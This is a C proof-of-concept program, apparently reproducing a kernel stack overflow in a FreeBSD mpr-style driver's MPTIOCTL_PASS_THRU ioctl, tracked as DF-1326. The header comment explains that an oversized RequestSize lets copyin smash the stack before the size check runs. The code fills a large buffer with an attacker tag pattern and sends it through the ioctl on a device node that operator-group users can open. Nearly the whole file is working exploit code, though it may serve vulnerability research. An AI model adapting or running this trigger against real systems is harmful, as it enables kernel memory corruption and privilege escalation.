/*
 * DF-1326 userspace trigger — mirrors the real mpr ioctllibc shape.
 *
 * Opens /dev/df1326 (the replica node, mode 0640 root:operator — the same
 * ownership make_dev() gives /dev/mprN at mpr_user.c:205) and issues
 * MPTIOCTL_PASS_THRU with:
 *   PtrRequest   -> buffer filled with the 8-byte attacker tag
 *   RequestSize  -> argv[1] (96 == reqframesz: passes even the post-hoc
 *                   check; 4096: rejected by the check only AFTER the
 *                   copyin has already smashed the stack)
 *   DataSize=0, DataDirection=NONE  (satisfies the direction gate at
 *                   mpr_user.c:776-788)
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <sys/endian.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

typedef struct mpr_pass_thru {
	uint64_t	PtrRequest;
	uint64_t	PtrReply;
	uint64_t	PtrData;
	uint32_t	RequestSize;
	uint32_t	ReplySize;
	uint32_t	DataSize;
	uint32_t	DataDirection;
	uint64_t	PtrDataOut;
	uint32_t	DataOutSize;
	uint32_t	Timeout;
} mpr_pass_thru_t;

#define	MPR_PASS_THRU_DIRECTION_NONE	0
#define	MPTIOCTL_PASS_THRU	_IOWR('I', 4, struct mpr_pass_thru)

int
main(int argc, char **argv)
{
	unsigned long tag = 0x4142434445464748UL;
	unsigned char payload[65536];
	mpr_pass_thru_t pt;
	int fd, rc;

	if (argc > 1 && strcmp(argv[1], "tag") == 0) {
		printf("%#lx\n", tag);
		return (0);
	}

	memset(payload, 0, sizeof(payload));
	for (size_t i = 0; i + 8 <= sizeof(payload); i += 8)
		memcpy(payload + i, &tag, 8);

	memset(&pt, 0, sizeof(pt));
	pt.PtrRequest = (uint64_t)(uintptr_t)payload;
	pt.RequestSize = (argc > 1) ? (uint32_t)strtoul(argv[1], NULL, 0) : 96;
	pt.DataSize = 0;
	pt.DataDirection = MPR_PASS_THRU_DIRECTION_NONE;
	pt.Timeout = 30;

	fd = open("/dev/df1326", O_RDONLY);	/* group perm is r-- : the
						 * real attacker's open */
	if (fd < 0) {
		printf("open(/dev/df1326): %s (uid=%d euid=%d)\n",
		    strerror(errno), getuid(), geteuid());
		return (2);
	}
	rc = ioctl(fd, MPTIOCTL_PASS_THRU, &pt);
	printf("ioctl MPTIOCTL_PASS_THRU RequestSize=%u rc=%d errno=%d\n",
	    pt.RequestSize, rc, errno);
	close(fd);
	return (0);
}
